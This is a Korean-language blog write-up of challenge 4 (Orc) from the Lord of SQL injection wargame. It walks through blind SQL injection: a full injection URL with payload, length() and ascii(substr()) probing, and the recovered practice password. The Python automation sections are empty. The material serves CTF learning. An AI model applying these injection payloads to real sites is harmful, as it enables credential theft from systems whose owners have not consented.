Lord Of SQL injection [ 4.Orc ]

2017. 9. 8. 18:44WebHacking/Lord of SQL injection

 




GET방식으로 pw를 입력받는다

add|ashes() 함수를 통해서 비밀번호를 변환하고 그 비밀번호에 일치하는 비밀번호를 테이블에서 찾아낸다

처음 입력한 패스워드와 테이블의 패스워드를 비교하여 일치하면 문제가 풀린다

=> 직접 패스워드를 알아내야 하는 블라인드 인젝션 문제이다


사용할 함수는 ascii() , length()substring() = substr() 함수이다

ascii() : 입력받은 인자를 아스키 코드 10진수로 변환한다

length( 문자열 ) : 문자열의 길이를 반환한다

substring( 문자열 , 시작위치 , 길이 ) : 문자열의 시작위치에서 잘라낼 문자개수를 지정하여 반환한다

=> substr( 'abcd' , 2 , 2 ) = bc



[ 비밀번호 유추 과정 ]

1> 패스워드의 길이를 확인한다 ( > , < 를 활용한다 )

length(pw) > 7 ... 등등 조건식을 입력해서 웹 페이지의 출력결과를 확인한다

length(pw) > x 의 조건이 참이라면 조건식이 참이되어 Hello admin이 출력될 것이고 거짓이라면 출력되지 않는다

URL: https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=9999' or id='admin' and length(pw)=8 %23

=> SELECT id FROM prob_orc WHERE ( id='admin' and pw='9999' ) or ( id='admin' and length(pw)=8 ) #'


2> 패스워드의 첫번째글자부터 유추한다


조건:    id='admin' and ascii ( substr( pw , 1 , 1 ) ) > x :    아이디가 admin이고 해당 아이디의 비밀번호의 첫번째에서 1글자를 추출하고 아스키코드 10진수로 변환한 값이 x보다 크다

x를 변경해가면서 패스워드 한글자를 찾아낸다


첫번째 글자가 10진수 50인것을 확인하였다 이후 8번째 글자까지 모두 확인한다


1번째 글자 : ascii(substr( pw , 1, 1 ))     => 50 2

2번째 글자 : ascii(substr( pw , 2, 1 )) => 57  9

3번째 글자 : ascii(substr( pw , 3, 1 )) => 53 5

4번째 글자 : ascii(substr( pw , 4, 1 )) => 100 d

5번째 글자 : ascii(substr( pw , 5, 1 )) => 53 5

6번째 글자 : ascii(substr( pw , 6, 1 )) => 56 8

7번째 글자 : ascii(substr( pw , 7, 1 )) => 52 4

8번째 글자 : ascii(substr( pw , 8, 1 )) => 52 4

9번째 글자 : ascii(substr( pw , 9, 1 )) =>  0 null 


3> 패스워드 입력결과


4> 파이썬을 활용한 자동화 프로그램

[ 작성코드 ]


[ 실행결과 ]